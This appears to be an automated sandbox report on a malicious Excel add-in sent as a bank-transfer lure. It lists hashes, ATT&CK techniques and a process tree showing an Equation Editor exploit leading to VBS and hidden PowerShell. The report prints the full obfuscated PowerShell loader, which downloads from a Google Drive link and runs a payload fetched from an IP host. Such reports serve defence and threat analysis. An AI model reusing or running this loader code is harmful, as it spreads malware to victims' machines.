7b2d140ba3e0b4d4314218b60f89e57491385f357a277d8caed2c2d950383739

General

Target

transferencia interbancaria_667553466579.xlam
Size

596KB
MD5

1ae6847360fe3bb54193d6009b0c024c
SHA1

9a1b6a797a07ed45ca653f961837f8cd0a8d181c
SHA256

7b2d140ba3e0b4d4314218b60f89e57491385f357a277d8caed2c2d950383739
SHA512

4c3c081453f6c560c5f9b8cb33a4749cf1d8c25836da4df67034cb8ed3ae1ae82c17b593e483afb461e1ba69ba5bedcc4642b70547ae07660ac5453b440bd548
SSDEEP

12288:2KuRV8lIiUy6at3sbD91hmnF0+3KZ3BhP3CZ8UUqud5yM:pIA6m3sv7hmnFbwh/CZ8tWM

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
3	2832	EQNEDT32.EXE
6	2628	WScript.exe
7	2628	WScript.exe
9	2288	powershell.exe
11	2288	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2212	powershell.exe
2288	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	drive.google.com
8	drive.google.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2832	EQNEDT32.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2772	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2212	powershell.exe
2288	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	2288	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2832 wrote to memory of 2628	2832	EQNEDT32.EXE	32
PID 2832 wrote to memory of 2628	2832	EQNEDT32.EXE	32
PID 2832 wrote to memory of 2628	2832	EQNEDT32.EXE	32
PID 2832 wrote to memory of 2628	2832	EQNEDT32.EXE	32
PID 2628 wrote to memory of 2212	2628	WScript.exe	33
PID 2628 wrote to memory of 2212	2628	WScript.exe	33
PID 2628 wrote to memory of 2212	2628	WScript.exe	33
PID 2628 wrote to memory of 2212	2628	WScript.exe	33
PID 2212 wrote to memory of 2288	2212	powershell.exe	35
PID 2212 wrote to memory of 2288	2212	powershell.exe	35
PID 2212 wrote to memory of 2288	2212	powershell.exe	35
PID 2212 wrote to memory of 2288	2212	powershell.exe	35

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\transferencia interbancaria_667553466579.xlam"
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2772

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2832
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\fridaydatingloversss.vbs"
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2628
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHZlUmJvc2VwcmVGZXJFTkNlLlRPU3RySW5nKClbMSwzXSsnWCctSk9JbicnKSAoKCgnWnZWaW1hZ2VVJysncmwgPSB5a3hodHQnKydwczovL2RyaXZlLmdvb2dsZS5jbycrJ20vdWM/ZXhwb3J0PWRvd24nKydsb2FkJmlkPTFBSVZnSkpKdjFGNnYnKydTNHNVT3libkgtc0R2VWhCWXd1ciB5a3g7WnZWd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeScrJ3N0ZW0uTmV0LldlYkNsaWVudDtadlZpbWFnZUJ5dGVzID0gWnZWd2ViQ2xpZW50LkRvd25sb2FkRGF0YShadlZpbWFnZVVybCknKyc7WnZWaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoWnZWaW1hZ2VCeXRlcycrJyk7WicrJ3ZWc3RhcnRGbGFnID0gJysneWt4PDwnKydCQVNFNjRfU1RBUicrJ1Q+PnlreDtadlZlbmRGbGFnID0geWt4PDxCQVNFNjRfRU5EPj55a3g7WnZWc3RhcnRJbmRleCA9IFp2VmltYWdlVGV4dC5JbmRleE9mKFp2VnN0YXJ0RmxhZyk7WnZWZW5kSW5kZXggPSBadlZpbWFnZVRleHQuSW5kZXhPZihadlZlbmRGbGFnKTtadlZzdGFydEluZGV4IC1nZSAwIC1hbmQgWnZWZW5kSW5kZXggLWd0IFp2VnN0YXJ0SW5kZXgnKyc7WnZWc3RhcnRJbmRlJysneCArPSBadlZzdGFydEZsYWcuTGVuZ3RoO1p2VmJhc2U2NExlbmd0aCA9IFp2VmVuZEluZGV4IC0gWnZWc3RhcnRJbmRleDtadlZiYXNlNjRDb21tYW5kID0gWnZWaW1hZ2VUZXh0LlN1YnN0cmluZyhaJysndlZzdGFyJysndEluZGV4LCcrJyBadlZiYXNlNicrJzRMZW5ndGgpO1p2VmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFp2VmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBnQm8gRm8nKydyRWFjaC1PYmplY3QgeyBadlZfICcrJ30pWy0xLi4tKFp2VmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07WnZWY29tbWFuJysnZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTonKyc6RnJvJysnbUJhc2U2NFN0cmluZyhadlZiYXNlNjRSZXZlcnNlZCk7WnZWbG9hZGVkQXNzZW1ibHkgPScrJyBbU3lzdGUnKydtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFp2VmNvbW1hbmRCeXRlcyk7WnZWdmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdJysnLkdldE1ldGhvZCh5a3hWQUl5a3gpO1p2VnZhaU1ldGhvZC5JbnZva2UnKycoWnZWbnVsbCwgQCh5a3h0eHQueWFhYWFhYmV3bWFkYW1zc3NzeWFkaXJmJysnLzMxLjEzLjI3MS43MDEvLzpwdHRoeWt4LCB5a3hkZXNhdGl2YWRveWt4LCB5a3hkZXNhdGl2YWRveWt4LCcrJyAnKyd5a3hkZXNhdGl2YWRveWt4LCB5aycrJ3hBZGRJblByb2Nlc3MzMnlreCwgeWsnKyd4ZGVzYXRpdmFkb3lreCwgeWt4ZCcrJ2VzYXRpdmFkb3lreCx5a3hkZXNhdGl2YWRveWt4LHlreGRlc2F0aXZhZG95a3gnKycsJysneWt4ZGVzYXRpdmFkb3lreCwnKyd5a3hkZXNhdGl2YWRveWt4LHlreGRlc2F0aXZhZG95a3gseWt4MXlreCx5a3hkZScrJ3NhdGl2YWRveWsnKyd4KSk7JyktUkVQTGFDRSAoW0NoYXJdMTAzK1tDaGFyXTY2K1tDaGFyXTExMSksW0NoYXJdMTI0LUNyZVBsYUNlIChbQ2hhcl0xMjErW0NoYXJdMTA3K1tDaGFyXTEyMCksW0NoYXJdMzkgIC1DcmVQbGFDZSAgKFtDaGFyXTkwK1tDaGFyXTExOCtbQ2hhcl04NiksW0NoYXJdMzYpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2212
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $veRbosepreFerENCe.TOStrIng()[1,3]+'X'-JOIn'') ((('ZvVimageU'+'rl = ykxhtt'+'ps://drive.google.co'+'m/uc?export=down'+'load&id=1AIVgJJJv1F6v'+'S4sUOybnH-sDvUhBYwur ykx;ZvVwebClient = New-Object Sy'+'stem.Net.WebClient;ZvVimageBytes = ZvVwebClient.DownloadData(ZvVimageUrl)'+';ZvVimageText = [System.Text.Encoding]::UTF8.GetString(ZvVimageBytes'+');Z'+'vVstartFlag = '+'ykx<<'+'BASE64_STAR'+'T>>ykx;ZvVendFlag = ykx<<BASE64_END>>ykx;ZvVstartIndex = ZvVimageText.IndexOf(ZvVstartFlag);ZvVendIndex = ZvVimageText.IndexOf(ZvVendFlag);ZvVstartIndex -ge 0 -and ZvVendIndex -gt ZvVstartIndex'+';ZvVstartInde'+'x += ZvVstartFlag.Length;ZvVbase64Length = ZvVendIndex - ZvVstartIndex;ZvVbase64Command = ZvVimageText.Substring(Z'+'vVstar'+'tIndex,'+' ZvVbase6'+'4Length);ZvVbase64Reversed = -join (ZvVbase64Command.ToCharArray() gBo Fo'+'rEach-Object { ZvV_ '+'})[-1..-(ZvVbase64Command.Length)];ZvVcomman'+'dBytes = [System.Convert]:'+':Fro'+'mBase64String(ZvVbase64Reversed);ZvVloadedAssembly ='+' [Syste'+'m.Reflection.Assembly]::Load(ZvVcommandBytes);ZvVvaiMethod = [dnlib.IO.Home]'+'.GetMethod(ykxVAIykx);ZvVvaiMethod.Invoke'+'(ZvVnull, @(ykxtxt.yaaaaabewmadamssssyadirf'+'/31.13.271.701//:ptthykx, ykxdesativadoykx, ykxdesativadoykx,'+' '+'ykxdesativadoykx, yk'+'xAddInProcess32ykx, yk'+'xdesativadoykx, ykxd'+'esativadoykx,ykxdesativadoykx,ykxdesativadoykx'+','+'ykxdesativadoykx,'+'ykxdesativadoykx,ykxdesativadoykx,ykx1ykx,ykxde'+'sativadoyk'+'x));')-REPLaCE ([Char]103+[Char]66+[Char]111),[Char]124-CrePlaCe ([Char]121+[Char]107+[Char]120),[Char]39 -CrePlaCe ([Char]90+[Char]118+[Char]86),[Char]36) )"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2288

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
e5682dca8a78f9aeb6325f4a792b160d

SHA1
9bfd29e952568589ea5f2836e182637ecddee264

SHA256
728ceb7ccf51279abec4598e55de7017a5da21f6e647d4239e3dd44dc6bfc22a

SHA512
75d29c36726a30c0d554c4132c96c2164a54532bdb8c5a99f94894a98c9463787b5c508ad09c8d63d849cb099d1fc5ced94b6a5c08d9b51e97d275670ebc66d6

Download Submit
C:\Users\Admin\AppData\Roaming\fridaydatingloversss.vbs

Filesize
69KB

MD5
92361fe6feb25c67dae9dfefee911404

SHA1
e52f98e972a02327b74e9a9b4ea91a670975611b

SHA256
16dfc05a6ccd93a5d80cb362553f196b5943b65db5028cb408e8d0e68f30c827

SHA512
bbdc4d9f5dbe52ef0c4949452342888d67b364bceeb533938bf98f9b24521961d7434ef804bfeb78ae6c59125ad51ef98b82dcb3160120e9e5b2cfeba8d9f878

Download Submit
memory/2772-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2772-1-0x000000007243D000-0x0000000072448000-memory.dmp

Filesize
44KB

Download
memory/2772-16-0x000000007243D000-0x0000000072448000-memory.dmp

Filesize
44KB

Download

Analysis

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